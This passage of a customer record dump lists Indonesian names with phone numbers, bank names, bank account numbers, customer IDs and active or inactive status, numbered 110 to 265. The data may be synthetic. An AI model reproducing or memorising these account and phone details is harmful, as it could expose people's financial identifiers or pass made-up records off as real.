"status": "aktif"} 
  BRACE: {"bank_account": "63031617990421", "bank_name": "BCA", "customer_id": 
"8852b0d0d2fc715e", "id": 110, "name": "Nur Sinaga", "phone": "081383285691", 
"status": "aktif"} 
  BRACE: {"bank_account": "5648149177", "bank_name": "BTN", "customer_id": 
"8d4ccaeff3d8bc84", "id": 111, "name": "Agus Cahyono", "phone": "085288425241", 
"status": "aktif"} 
  BRACE: {"bank_account": "075622086353", "bank_name": "Danamon", "customer_id": 
"35e3c49904f56068", "id": 112, "name": "Hani Nugraha", "phone": "085119138000", 
"status": "aktif"} 
  BRACE: {"bank_account": "7445187053", "bank_name": "CIMB Niaga", "customer_id": 
"e416d021cbb3d531", "id": 113, "name": "Andi Prasetyo", "phone": "085218023806", 
"status": "aktif"} 
  BRACE: {"bank_account": "05064138367024", "bank_name": "BNI", "customer_id": 
"deb196707b0419c3", "id": 114, "name": "Putri Situmorang", "phone": "085838320603", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "6234456557", "bank_name": "CIMB Niaga", "customer_id": 
"ae837d60ea8d7938", "id": 115, "name": "Rian Situmorang", "phone": "085819182619", 
"status": "aktif"} 
  BRACE: {"bank_account": "37474112490352", "bank_name": "BNI", "customer_id": 
"6668450f350dc5bd", "id": 116, "name": "Rina Supriadi", "phone": "081321277561", 
"status": "aktif"} 
  BRACE: {"bank_account": "171210032365", "bank_name": "BNI", "customer_id": 
"faa8766ad5902111", "id": 117, "name": "Wati Budiman", "phone": "081244206788", 
"status": "aktif"} 
  BRACE: {"bank_account": "2966706625", "bank_name": "Mandiri", "customer_id": 
"c8f467d4b9eb7f47", "id": 118, "name": "Andi Wijaya", "phone": "081337215107", 
"status": "aktif"} 
  BRACE: {"bank_account": "0146263838065787", "bank_name": "BSI", "customer_id": 
"ac868720580deae5", "id": 119, "name": "Yusuf Pratama", "phone": "081299934768", 
"status": "aktif"} 
  BRACE: {"bank_account": "93213348039652", "bank_name": "BRI", "customer_id": 
"11f6e634fdd91846", "id": 120, "name": "Tono Siregar", "phone": "082105930407", 
"status": "aktif"} 
  BRACE: {"bank_account": "8427010393087059", "bank_name": "Mandiri", 
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"customer_id": "61e627cc7a24a4b0", "id": 121, "name": "Rosa Sumarto", "phone": 
"085290599293", "status": "aktif"} 
  BRACE: {"bank_account": "9154522675289539", "bank_name": "BRI", "customer_id": 
"a810f61c8ccff753", "id": 122, "name": "Fajar Purnomo", "phone": "081229218515", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "513552157043", "bank_name": "Mandiri", "customer_id": 
"2d4fca214f1c2568", "id": 123, "name": "Linda Prasetyo", "phone": "081229593917", 
"status": "aktif"} 
  BRACE: {"bank_account": "86179327104054", "bank_name": "BNI", "customer_id": 
"643022e95f01d967", "id": 124, "name": "Wahyu Utama", "phone": "081206762676", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "962015336884", "bank_name": "CIMB Niaga", "customer_id": 
"023016c1edc61616", "id": 125, "name": "Agus Kristianto", "phone": "081381599706", 
"status": "aktif"} 
  BRACE: {"bank_account": "3103241714677418", "bank_name": "Danamon", 
"customer_id": "caf053dd581fcfc7", "id": 126, "name": "Wati Prasetyo", "phone": 
"085820506149", "status": "nonaktif"} 
  BRACE: {"bank_account": "2115869380", "bank_name": "Danamon", "customer_id": 
"8d36387ba5ce5239", "id": 127, "name": "Hani Hidayat", "phone": "085804774349", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "172233206163", "bank_name": "BRI", "customer_id": 
"c6b1a5b866d00565", "id": 128, "name": "Farhan Simanjuntak", "phone": 
"085841608989", "status": "aktif"} 
  BRACE: {"bank_account": "9986162299", "bank_name": "BPD DIY", "customer_id": 
"834c9334782f065d", "id": 129, "name": "Diky Raharjo", "phone": "081368685487", 
"status": "aktif"} 
  BRACE: {"bank_account": "462996065307", "bank_name": "CIMB Niaga", "customer_id": 
"bede21be42544699", "id": 130, "name": "Rizky Hartono", "phone": "085264679970", 
"status": "aktif"} 
  BRACE: {"bank_account": "3736785082", "bank_name": "BNI", "customer_id": 
"df1ce5505ccf69f0", "id": 131, "name": "Maya Siregar", "phone": "085813247546", 
"status": "aktif"} 
  BRACE: {"bank_account": "78610357972798", "bank_name": "BSI", "customer_id": 
"569f66da072c0f6b", "id": 132, "name": "Yuli Saputra", "phone": "082203070534", 
"status": "aktif"} 
  BRACE: {"bank_account": "8007229034944665", "bank_name": "Bank Jatim", 
"customer_id": "d7a45bfeda1b6278", "id": 133, "name": "Rizky Wijaya", "phone": 
"085702933334", "status": "aktif"} 
  BRACE: {"bank_account": "41715454443283", "bank_name": "BCA", "customer_id": 
"99aaf8b9d03ce739", "id": 134, "name": "Mega Suyanto", "phone": "085791085899", 
"status": "aktif"} 
  BRACE: {"bank_account": "538758428241", "bank_name": "Bank Jatim", "customer_id": 
"4b51b59e8d52ece7", "id": 135, "name": "Mega Wibowo", "phone": "081274466609", 
"status": "aktif"} 
  BRACE: {"bank_account": "49471709991738", "bank_name": "BNI", "customer_id": 
"3b5e1d3148573ee8", "id": 136, "name": "Diky Legowo", "phone": "082151353465", 
"status": "aktif"} 
  BRACE: {"bank_account": "175250074329", "bank_name": "BRI", "customer_id": 
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"37767a9121a33e2e", "id": 137, "name": "Arif Purnomo", "phone": "082123569725", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "0335421689", "bank_name": "CIMB Niaga", "customer_id": 
"15e85db7bc46da0b", "id": 138, "name": "Bayu Ginting", "phone": "081208350583", 
"status": "aktif"} 
  BRACE: {"bank_account": "32603323098215", "bank_name": "BCA", "customer_id": 
"359d10bdb652bb12", "id": 139, "name": "Maya Harahap", "phone": "085889856257", 
"status": "aktif"} 
  BRACE: {"bank_account": "304618499261", "bank_name": "BTN", "customer_id": 
"32349a10f2b34f58", "id": 140, "name": "Wulan Wijaya", "phone": "081216761847", 
"status": "aktif"} 
  BRACE: {"bank_account": "4208737530011972", "bank_name": "BNI", "customer_id": 
"e61948f303e24b44", "id": 141, "name": "Rizky Kusuma", "phone": "081373934835", 
"status": "aktif"} 
  BRACE: {"bank_account": "55611002255794", "bank_name": "BNI", "customer_id": 
"1e6372598bab37e8", "id": 142, "name": "Wahyu Haryanto", "phone": "082274470120", 
"status": "aktif"} 
  BRACE: {"bank_account": "169797296590", "bank_name": "BRI", "customer_id": 
"885af866c4b3ab4d", "id": 143, "name": "Wati Hutabarat", "phone": "085846762120", 
"status": "aktif"} 
  BRACE: {"bank_account": "6375628900", "bank_name": "BRI", "customer_id": 
"1bf41472b8bdf22f", "id": 144, "name": "Wulan Manurung", "phone": "081289935889", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "6317797177517016", "bank_name": "Danamon", 
"customer_id": "4b02482a31d8b068", "id": 145, "name": "Agus Raharjo", "phone": 
"085853540838", "status": "aktif"} 
  BRACE: {"bank_account": "5899757113055488", "bank_name": "BSI", "customer_id": 
"78163e5d6a7c2ab3", "id": 146, "name": "Nur Firmansyah", "phone": "085188375503", 
"status": "aktif"} 
  BRACE: {"bank_account": "735160917798", "bank_name": "BRI", "customer_id": 
"6ed8b6b51520b5c2", "id": 147, "name": "Agus Cahyono", "phone": "082161493316", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "6934654722698485", "bank_name": "BTN", "customer_id": 
"cfb6dcd1c8650712", "id": 148, "name": "Irfan Supriadi", "phone": "082192216995", 
"status": "aktif"} 
  BRACE: {"bank_account": "9968460810620034", "bank_name": "BRI", "customer_id": 
"4486ce5ac1c9846a", "id": 149, "name": "Fitri Iskandar", "phone": "085152288515", 
"status": "aktif"} 
  BRACE: {"bank_account": "3840666580043973", "bank_name": "BSI", "customer_id": 
"59f7b8259829972d", "id": 150, "name": "Rian Harahap", "phone": "082280571983", 
"status": "aktif"} 
  BRACE: {"bank_account": "0648422940572025", "bank_name": "BPD DIY", 
"customer_id": "7d3cd82c4d4c7de0", "id": 151, "name": "Linda Kristianto", "phone": 
"082247212281", "status": "nonaktif"} 
  BRACE: {"bank_account": "688615335554", "bank_name": "Mandiri", "customer_id": 
"75192fe26cbda372", "id": 152, "name": "Farhan Legowo", "phone": "085215832818", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "61648408588770", "bank_name": "CIMB Niaga", 
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"customer_id": "ad5b0e81023a0312", "id": 153, "name": "Desy Santoro", "phone": 
"081215739930", "status": "aktif"} 
  BRACE: {"bank_account": "3861207501", "bank_name": "BNI", "customer_id": 
"8efebc1c5b8555b1", "id": 154, "name": "Irfan Setiawan", "phone": "081328801336", 
"status": "aktif"} 
  BRACE: {"bank_account": "8091901581", "bank_name": "CIMB Niaga", "customer_id": 
"8a963c3cf853e1cb", "id": 155, "name": "Farhan Gunawan", "phone": "085166766506", 
"status": "aktif"} 
  BRACE: {"bank_account": "8424508821009968", "bank_name": "BTN", "customer_id": 
"b12c795eed14eae1", "id": 156, "name": "Rizky Santoro", "phone": "085866072832", 
"status": "aktif"} 
  BRACE: {"bank_account": "8781414139", "bank_name": "Bank Jatim", "customer_id": 
"9fff10cd5870042f", "id": 157, "name": "Fitri Hasibuan", "phone": "082122394312", 
"status": "aktif"} 
  BRACE: {"bank_account": "995562053364", "bank_name": "BSI", "customer_id": 
"74d250de89426b42", "id": 158, "name": "Sri Harahap", "phone": "081335775949", 
"status": "aktif"} 
  BRACE: {"bank_account": "28341108099693", "bank_name": "BCA", "customer_id": 
"6539edd819016b34", "id": 159, "name": "Bayu Tanjung", "phone": "085854781291", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "6580392827", "bank_name": "BRI", "customer_id": 
"b3c4aa428fdce5ab", "id": 160, "name": "Wulan Supriadi", "phone": "082156394278", 
"status": "aktif"} 
  BRACE: {"bank_account": "038567700518", "bank_name": "CIMB Niaga", "customer_id": 
"ba74ff11c5c33846", "id": 161, "name": "Rosa Kristianto", "phone": "085850373145", 
"status": "aktif"} 
  BRACE: {"bank_account": "5577908272318432", "bank_name": "BRI", "customer_id": 
"3e9188c504b810dc", "id": 162, "name": "Tono Haryanto", "phone": "085759184638", 
"status": "aktif"} 
  BRACE: {"bank_account": "0302992280920242", "bank_name": "BTN", "customer_id": 
"1a99463103262f2b", "id": 163, "name": "Anton Gunawan", "phone": "085751777392", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "25799136621038", "bank_name": "BTN", "customer_id": 
"ba3cd63e81e49ea7", "id": 164, "name": "Gilang Iswanto", "phone": "085823692929", 
"status": "aktif"} 
  BRACE: {"bank_account": "2980686508637659", "bank_name": "BPD DIY", 
"customer_id": "61548deda40339cb", "id": 165, "name": "Gilang Utama", "phone": 
"082179908811", "status": "aktif"} 
  BRACE: {"bank_account": "9818063565", "bank_name": "BNI", "customer_id": 
"db7f57e87cb63d96", "id": 166, "name": "Bayu Supriadi", "phone": "082214986430", 
"status": "aktif"} 
  BRACE: {"bank_account": "2588744956213721", "bank_name": "Mandiri", 
"customer_id": "754fdda6c31936ed", "id": 167, "name": "Wahyu Hartono", "phone": 
"085795946368", "status": "aktif"} 
  BRACE: {"bank_account": "1435190669", "bank_name": "BTN", "customer_id": 
"5550d59364b9a2ba", "id": 168, "name": "Desy Iskandar", "phone": "081226012796", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "053021465669", "bank_name": "Mandiri", "customer_id": 
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"19e59f39b30b460f", "id": 169, "name": "Yusuf Susanto", "phone": "082284309883", 
"status": "aktif"} 
  BRACE: {"bank_account": "6904268181845184", "bank_name": "BTN", "customer_id": 
"fb7e41bd0e97391d", "id": 170, "name": "Nur Legowo", "phone": "085189554393", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "16335658804341", "bank_name": "Danamon", "customer_id": 
"030827979a1d13f8", "id": 171, "name": "Tono Prasetyo", "phone": "085835779071", 
"status": "aktif"} 
  BRACE: {"bank_account": "3334333395211179", "bank_name": "BCA", "customer_id": 
"ff258b6cc8e8a39e", "id": 172, "name": "Andi Legowo", "phone": "082175539423", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "920867808562", "bank_name": "Bank Jatim", "customer_id": 
"35e08e138c81e9a3", "id": 173, "name": "Hani Iskandar", "phone": "085279472846", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "28434795527636", "bank_name": "BSI", "customer_id": 
"a0b57e1ad4da5dc1", "id": 174, "name": "Fajar Sumarto", "phone": "081203691559", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "227026728857", "bank_name": "CIMB Niaga", "customer_id": 
"fdb3d00b9f31a179", "id": 175, "name": "Yuli Prasetyo", "phone": "082193143866", 
"status": "aktif"} 
  BRACE: {"bank_account": "88450615939982", "bank_name": "CIMB Niaga", 
"customer_id": "b0a762cfa1205e22", "id": 176, "name": "Rian Nugraha", "phone": 
"081234717545", "status": "nonaktif"} 
  BRACE: {"bank_account": "9961125355449647", "bank_name": "BSI", "customer_id": 
"280d21d32f3f3ac8", "id": 177, "name": "Linda Halim", "phone": "085816947225", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "1178006811", "bank_name": "CIMB Niaga", "customer_id": 
"40b1919f2f7e5905", "id": 178, "name": "Arif Nugraha", "phone": "082102341326", 
"status": "aktif"} 
  BRACE: {"bank_account": "0557784872", "bank_name": "BTN", "customer_id": 
"8bde43b8e3e7465a", "id": 179, "name": "Wulan Ginting", "phone": "085133472282", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "4564240082547807", "bank_name": "Bank Jatim", 
"customer_id": "c3434267db9db1d6", "id": 180, "name": "Hendri Halim", "phone": 
"085788457831", "status": "aktif"} 
  BRACE: {"bank_account": "663416389448", "bank_name": "CIMB Niaga", "customer_id": 
"0411c83691da7aeb", "id": 181, "name": "Gilang Gunawan", "phone": "081285368663", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "2144270312", "bank_name": "BCA", "customer_id": 
"9438ae85b3be69f3", "id": 182, "name": "Ratna Rangkuti", "phone": "085197350208", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "346013673037", "bank_name": "BNI", "customer_id": 
"5faeb76f78c0893e", "id": 183, "name": "Rian Santoso", "phone": "085212046187", 
"status": "aktif"} 
  BRACE: {"bank_account": "35031365024916", "bank_name": "Mandiri", "customer_id": 
"7fe7e5b73fce0286", "id": 184, "name": "Bayu Ginting", "phone": "085152088147", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "0528127358", "bank_name": "BSI", "customer_id": 
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"04320bce99443c07", "id": 185, "name": "Rian Firmansyah", "phone": "082151327195", 
"status": "aktif"} 
  BRACE: {"bank_account": "57498218274485", "bank_name": "Bank Jatim", 
"customer_id": "796112478ecc8f85", "id": 186, "name": "Ayu Prayogo", "phone": 
"085884873928", "status": "nonaktif"} 
  BRACE: {"bank_account": "878294565118", "bank_name": "BNI", "customer_id": 
"7fdb225ac338c35a", "id": 187, "name": "Diky Hidayat", "phone": "081295935186", 
"status": "aktif"} 
  BRACE: {"bank_account": "05391037170586", "bank_name": "BSI", "customer_id": 
"98722f351037e72f", "id": 188, "name": "Hendra Utama", "phone": "085831096789", 
"status": "aktif"} 
  BRACE: {"bank_account": "3383928861957612", "bank_name": "BRI", "customer_id": 
"f96cd306b6c29f46", "id": 189, "name": "Nurul Santoso", "phone": "081341381138", 
"status": "aktif"} 
  BRACE: {"bank_account": "983684577600", "bank_name": "CIMB Niaga", "customer_id": 
"f71b5989b4ca697a", "id": 190, "name": "Anton Nugraha", "phone": "085855855665", 
"status": "aktif"} 
  BRACE: {"bank_account": "107522459334", "bank_name": "CIMB Niaga", "customer_id": 
"d69f88f773c246bf", "id": 191, "name": "Maya Susanto", "phone": "085133504888", 
"status": "aktif"} 
  BRACE: {"bank_account": "1055661390604805", "bank_name": "BTN", "customer_id": 
"29a482aca1de122c", "id": 192, "name": "Diky Raharjo", "phone": "085272791940", 
"status": "aktif"} 
  BRACE: {"bank_account": "646225179086", "bank_name": "CIMB Niaga", "customer_id": 
"b798a3bc1a964747", "id": 193, "name": "Irfan Sumarto", "phone": "082220679981", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "314659116655", "bank_name": "Mandiri", "customer_id": 
"ccfdee2c84bb337e", "id": 194, "name": "Linda Sumarto", "phone": "082127837693", 
"status": "aktif"} 
  BRACE: {"bank_account": "1039240514", "bank_name": "Bank Jatim", "customer_id": 
"9b925dc999048ffb", "id": 195, "name": "Agus Pardede", "phone": "085892703352", 
"status": "aktif"} 
  BRACE: {"bank_account": "39407016451046", "bank_name": "Mandiri", "customer_id": 
"d313d51fc0c90da2", "id": 196, "name": "Desy Iswanto", "phone": "082106980420", 
"status": "aktif"} 
  BRACE: {"bank_account": "2055543840460843", "bank_name": "BRI", "customer_id": 
"f3868e19a97ef868", "id": 197, "name": "Yuli Saputra", "phone": "085880038457", 
"status": "aktif"} 
  BRACE: {"bank_account": "8232983248262925", "bank_name": "BNI", "customer_id": 
"6fe2360634864e82", "id": 198, "name": "Diky Ginting", "phone": "082263926495", 
"status": "aktif"} 
  BRACE: {"bank_account": "122099499939", "bank_name": "Mandiri", "customer_id": 
"7abccde29ef3b665", "id": 199, "name": "Yuli Manurung", "phone": "082105664742", 
"status": "aktif"} 
  BRACE: {"bank_account": "2233060463331279", "bank_name": "Bank Jatim", 
"customer_id": "65735c27552e2177", "id": 200, "name": "Doni Setiawan", "phone": 
"085828975267", "status": "nonaktif"} 
  BRACE: {"bank_account": "8177038860", "bank_name": "BTN", "customer_id": 
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"fdcd287b8a097f8d", "id": 201, "name": "Ani Lubis", "phone": "085709656999", "status": 
"aktif"} 
  BRACE: {"bank_account": "1812982665702793", "bank_name": "Bank Jatim", 
"customer_id": "ca493eaf4a974896", "id": 202, "name": "Linda Harahap", "phone": 
"085826490827", "status": "aktif"} 
  BRACE: {"bank_account": "686025922220", "bank_name": "Danamon", "customer_id": 
"e1be4bca993abf15", "id": 203, "name": "Sinta Kristianto", "phone": "081311751868", 
"status": "aktif"} 
  BRACE: {"bank_account": "8097339776719903", "bank_name": "BTN", "customer_id": 
"0d40750926bfacda", "id": 204, "name": "Hendri Hidayat", "phone": "081323094077", 
"status": "aktif"} 
  BRACE: {"bank_account": "1622499982", "bank_name": "Bank Jatim", "customer_id": 
"8ec00229b7c2d0be", "id": 205, "name": "Dian Purnomo", "phone": "085202099451", 
"status": "aktif"} 
  BRACE: {"bank_account": "2145868339019817", "bank_name": "BPD DIY", 
"customer_id": "50f18b5da4a309ef", "id": 206, "name": "Ahmad Setiawan", "phone": 
"085155616814", "status": "nonaktif"} 
  BRACE: {"bank_account": "7293430107139660", "bank_name": "BSI", "customer_id": 
"096928df7e034cc9", "id": 207, "name": "Gilang Manurung", "phone": "085189952997", 
"status": "aktif"} 
  BRACE: {"bank_account": "56990235577027", "bank_name": "BRI", "customer_id": 
"fb4817e841169501", "id": 208, "name": "Rian Harahap", "phone": "085114488501", 
"status": "aktif"} 
  BRACE: {"bank_account": "51240568299629", "bank_name": "BNI", "customer_id": 
"977ba3d98b6d3f2e", "id": 209, "name": "Putri Hasibuan", "phone": "081284958803", 
"status": "aktif"} 
  BRACE: {"bank_account": "5031780782", "bank_name": "Mandiri", "customer_id": 
"cfec10792e842db1", "id": 210, "name": "Arif Setiawan", "phone": "085835743842", 
"status": "aktif"} 
  BRACE: {"bank_account": "0409157018", "bank_name": "CIMB Niaga", "customer_id": 
"85faee97e2cad3bb", "id": 211, "name": "Linda Manurung", "phone": "082118230768", 
"status": "aktif"} 
  BRACE: {"bank_account": "410988138585", "bank_name": "CIMB Niaga", "customer_id": 
"477604e90291ea35", "id": 212, "name": "Fajar Saputra", "phone": "082244857142", 
"status": "aktif"} 
  BRACE: {"bank_account": "7016016629", "bank_name": "BPD DIY", "customer_id": 
"a45805e658ce00d0", "id": 213, "name": "Farhan Simanjuntak", "phone": 
"082114958702", "status": "nonaktif"} 
  BRACE: {"bank_account": "1747733294562557", "bank_name": "Bank Jatim", 
"customer_id": "214df285b91029df", "id": 214, "name": "Ratna Pardede", "phone": 
"085153817921", "status": "aktif"} 
  BRACE: {"bank_account": "1581487696393827", "bank_name": "Danamon", 
"customer_id": "1e0bdabdac9bc621", "id": 215, "name": "Doni Iswanto", "phone": 
"085824599281", "status": "nonaktif"} 
  BRACE: {"bank_account": "5817246191965701", "bank_name": "Mandiri", 
"customer_id": "9631d9cced3ee242", "id": 216, "name": "Eka Prasetyo", "phone": 
"085283219719", "status": "aktif"} 
  BRACE: {"bank_account": "549465190986", "bank_name": "BRI", "customer_id": 
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"0165fc8d422c81dc", "id": 217, "name": "Taufik Pratama", "phone": "082178469973", 
"status": "aktif"} 
  BRACE: {"bank_account": "6668327238656242", "bank_name": "BRI", "customer_id": 
"3f9da37edda08842", "id": 218, "name": "Budi Prayogo", "phone": "085214036965", 
"status": "aktif"} 
  BRACE: {"bank_account": "786876532690", "bank_name": "BPD DIY", "customer_id": 
"f6f5948b48cd756a", "id": 219, "name": "Diky Cahyono", "phone": "085721267969", 
"status": "aktif"} 
  BRACE: {"bank_account": "8189137189490580", "bank_name": "Bank Jatim", 
"customer_id": "72374b79a859b60c", "id": 220, "name": "Ahmad Santoso", "phone": 
"085851971284", "status": "aktif"} 
  BRACE: {"bank_account": "4904712814", "bank_name": "CIMB Niaga", "customer_id": 
"119d302d8913e03a", "id": 221, "name": "Rizky Nugraha", "phone": "081294940792", 
"status": "aktif"} 
  BRACE: {"bank_account": "37280512927663", "bank_name": "Bank Jatim", 
"customer_id": "cb91c65dab4f4bff", "id": 222, "name": "Indah Nasution", "phone": 
"081219292752", "status": "aktif"} 
  BRACE: {"bank_account": "78366742860476", "bank_name": "BSI", "customer_id": 
"e5adc5ed6927bed8", "id": 223, "name": "Fitri Prasetyo", "phone": "085204102767", 
"status": "aktif"} 
  BRACE: {"bank_account": "7393852580010618", "bank_name": "BNI", "customer_id": 
"87d66b145913d0a8", "id": 224, "name": "Sri Hartono", "phone": "085269454414", 
"status": "aktif"} 
  BRACE: {"bank_account": "911192692124", "bank_name": "CIMB Niaga", "customer_id": 
"4ee1218a2659925e", "id": 225, "name": "Bambang Kristianto", "phone": 
"085143009109", "status": "aktif"} 
  BRACE: {"bank_account": "1739627128639174", "bank_name": "BNI", "customer_id": 
"1a0ec6b5de71475f", "id": 226, "name": "Linda Raharjo", "phone": "085106650442", 
"status": "aktif"} 
  BRACE: {"bank_account": "9087766183067198", "bank_name": "BSI", "customer_id": 
"5df55d4e406e354d", "id": 227, "name": "Linda Rangkuti", "phone": "081272006425", 
"status": "aktif"} 
  BRACE: {"bank_account": "6346157173", "bank_name": "BRI", "customer_id": 
"49c1db32d99cced0", "id": 228, "name": "Hendri Haryanto", "phone": "081358517432", 
"status": "aktif"} 
  BRACE: {"bank_account": "5061387829", "bank_name": "Mandiri", "customer_id": 
"00ad840a243bd1a4", "id": 229, "name": "Ayu Ginting", "phone": "081384787005", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7929111799", "bank_name": "Mandiri", "customer_id": 
"09a2f1e940d12293", "id": 230, "name": "Wulan Wijaya", "phone": "085890320204", 
"status": "aktif"} 
  BRACE: {"bank_account": "511426258273", "bank_name": "BPD DIY", "customer_id": 
"87a8829569d9b15e", "id": 231, "name": "Rosa Wahyudi", "phone": "085751982530", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7232487632909279", "bank_name": "BNI", "customer_id": 
"5edb41ddfb9a7c19", "id": 232, "name": "Linda Nugraha", "phone": "081271002194", 
"status": "aktif"} 
  BRACE: {"bank_account": "734031277220", "bank_name": "BCA", "customer_id": 
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"f888d6776570bfbb", "id": 233, "name": "Arif Susanto", "phone": "082231819588", 
"status": "aktif"} 
  BRACE: {"bank_account": "078113799563", "bank_name": "BSI", "customer_id": 
"37c1bfb11d247d96", "id": 234, "name": "Fitri Lubis", "phone": "085159701082", 
"status": "aktif"} 
  BRACE: {"bank_account": "0623972652735435", "bank_name": "BRI", "customer_id": 
"b7be42ed7800129f", "id": 235, "name": "Fajar Gunawan", "phone": "081336363179", 
"status": "aktif"} 
  BRACE: {"bank_account": "929831687397", "bank_name": "Bank Jatim", "customer_id": 
"14a770a1fc9b2e6b", "id": 236, "name": "Indah Wibowo", "phone": "081377625349", 
"status": "aktif"} 
  BRACE: {"bank_account": "7806867177", "bank_name": "Mandiri", "customer_id": 
"bfe3fc93873e4084", "id": 237, "name": "Ani Manurung", "phone": "085793929060", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7726257016", "bank_name": "BSI", "customer_id": 
"fe649b7abf33352b", "id": 238, "name": "Fitri Wibowo", "phone": "085243107427", 
"status": "aktif"} 
  BRACE: {"bank_account": "01657905528183", "bank_name": "BRI", "customer_id": 
"c138a737c00657fb", "id": 239, "name": "Eka Santoro", "phone": "085198931950", 
"status": "aktif"} 
  BRACE: {"bank_account": "5577881788", "bank_name": "CIMB Niaga", "customer_id": 
"81dcec6c30407931", "id": 240, "name": "Wulan Iswanto", "phone": "082235548640", 
"status": "aktif"} 
  BRACE: {"bank_account": "804682756704", "bank_name": "Mandiri", "customer_id": 
"5901692b3c7dd031", "id": 241, "name": "Wati Hidayat", "phone": "085111241272", 
"status": "aktif"} 
  BRACE: {"bank_account": "424375402547", "bank_name": "BRI", "customer_id": 
"20b6b81ea7f706b1", "id": 242, "name": "Arif Handoko", "phone": "085257988774", 
"status": "aktif"} 
  BRACE: {"bank_account": "52380552578284", "bank_name": "BNI", "customer_id": 
"8eeda6a1f6701d82", "id": 243, "name": "Yuli Hidayat", "phone": "082123105927", 
"status": "aktif"} 
  BRACE: {"bank_account": "975170281406", "bank_name": "BPD DIY", "customer_id": 
"c67a2b66f9a6b625", "id": 244, "name": "Putri Manurung", "phone": "082108854749", 
"status": "aktif"} 
  BRACE: {"bank_account": "8718637599", "bank_name": "BTN", "customer_id": 
"b0ec34cd39adcb96", "id": 245, "name": "Nur Manurung", "phone": "081293983430", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "8137674266299123", "bank_name": "CIMB Niaga", 
"customer_id": "98bb4ec3f3776fa6", "id": 246, "name": "Dian Prayogo", "phone": 
"085756504554", "status": "aktif"} 
  BRACE: {"_ref": "ca4d672b6ae6455e", "bank_account": "4870494787300244", 
"bank_name": "Bank Jatim", "customer_id": "f4011d1f472a762b", "id": 247, "name": "Arif 
Mulyadi", "phone": "085162879232", "status": "nonaktif"} 
  BRACE: {"bank_account": "9647158904290257", "bank_name": "BRI", "customer_id": 
"c88c2c56f14f2c86", "id": 248, "name": "Yuli Cahyono", "phone": "082201471959", 
"status": "aktif"} 
  BRACE: {"bank_account": "9285544518", "bank_name": "BPD DIY", "customer_id": 
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"ce9478f9d9b8cae7", "id": 249, "name": "Hani Hasibuan", "phone": "085204481832", 
"status": "aktif"} 
  BRACE: {"bank_account": "389888167112", "bank_name": "BCA", "customer_id": 
"c043d7315951ae20", "id": 250, "name": "Nurul Harahap", "phone": "085276521328", 
"status": "aktif"} 
  BRACE: {"bank_account": "216110760310", "bank_name": "BTN", "customer_id": 
"295e0d3f76fb0e9a", "id": 251, "name": "Yuli Prayogo", "phone": "085101322342", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "250124955289", "bank_name": "Mandiri", "customer_id": 
"13b3984c11894e69", "id": 252, "name": "Rudi Nasution", "phone": "081214011939", 
"status": "aktif"} 
  BRACE: {"bank_account": "875927125663", "bank_name": "BTN", "customer_id": 
"d99643e3286a69ff", "id": 253, "name": "Sri Handoko", "phone": "081283342801", 
"status": "aktif"} 
  BRACE: {"bank_account": "1571647947", "bank_name": "Mandiri", "customer_id": 
"c5d20aa2e05ff8fc", "id": 254, "name": "Taufik Manurung", "phone": "081371827548", 
"status": "aktif"} 
  BRACE: {"bank_account": "1266912153", "bank_name": "BSI", "customer_id": 
"68e9c71b1dcc4d6d", "id": 255, "name": "Eka Saputra", "phone": "081375207167", 
"status": "nonaktif"} 
  BRACE: {"bank_account": "7842711477320101", "bank_name": "Bank Jatim", 
"customer_id": "458e56b0c16a7e93", "id": 256, "name": "Rudi Gunawan", "phone": 
"085774994657", "status": "aktif"} 
  BRACE: {"bank_account": "3477848588006167", "bank_name": "BSI", "customer_id": 
"29195927e5e20cfd", "id": 257, "name": "Tono Firmansyah", "phone": "085224991187", 
"status": "aktif"} 
  BRACE: {"bank_account": "7828064796954500", "bank_name": "BPD DIY", 
"customer_id": "0fc05a1c591d89b4", "id": 258, "name": "Sinta Nugraha", "phone": 
"085862467197", "status": "aktif"} 
  BRACE: {"bank_account": "3334911415", "bank_name": "BRI", "customer_id": 
"3044f6e864469531", "id": 259, "name": "Rosa Handoko", "phone": "081256165565", 
"status": "aktif"} 
  BRACE: {"bank_account": "69659171357852", "bank_name": "BPD DIY", "customer_id": 
"4c0e15f67233d576", "id": 260, "name": "Putri Atmaja", "phone": "085798640790", 
"status": "aktif"} 
  BRACE: {"bank_account": "919195419876", "bank_name": "Mandiri", "customer_id": 
"8d45da2c86597814", "id": 261, "name": "Ayu Mulyadi", "phone": "081383440496", 
"status": "aktif"} 
  BRACE: {"bank_account": "082973748969", "bank_name": "BCA", "customer_id": 
"d474502b8a786f2c", "id": 262, "name": "Eka Atmaja", "phone": "085236649878", 
"status": "aktif"} 
  BRACE: {"bank_account": "42493631230347", "bank_name": "Bank Jatim", 
"customer_id": "6085068f4be9d2f5", "id": 263, "name": "Putri Pratama", "phone": 
"082224665136", "status": "nonaktif"} 
  BRACE: {"bank_account": "7001594165", "bank_name": "BNI", "customer_id": 
"9dd1cb1668455345", "id": 264, "name": "Wulan Santoso", "phone": "082224204482", 
"status": "aktif"} 
  BRACE: {"bank_account": "212347649078", "bank_name": "BSI", "customer_id": 
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"29f0d2818221eb32", "id": 265, "name": "Ayu Setiawan", "phone": "082291559636", 
"status": "aktif"} 
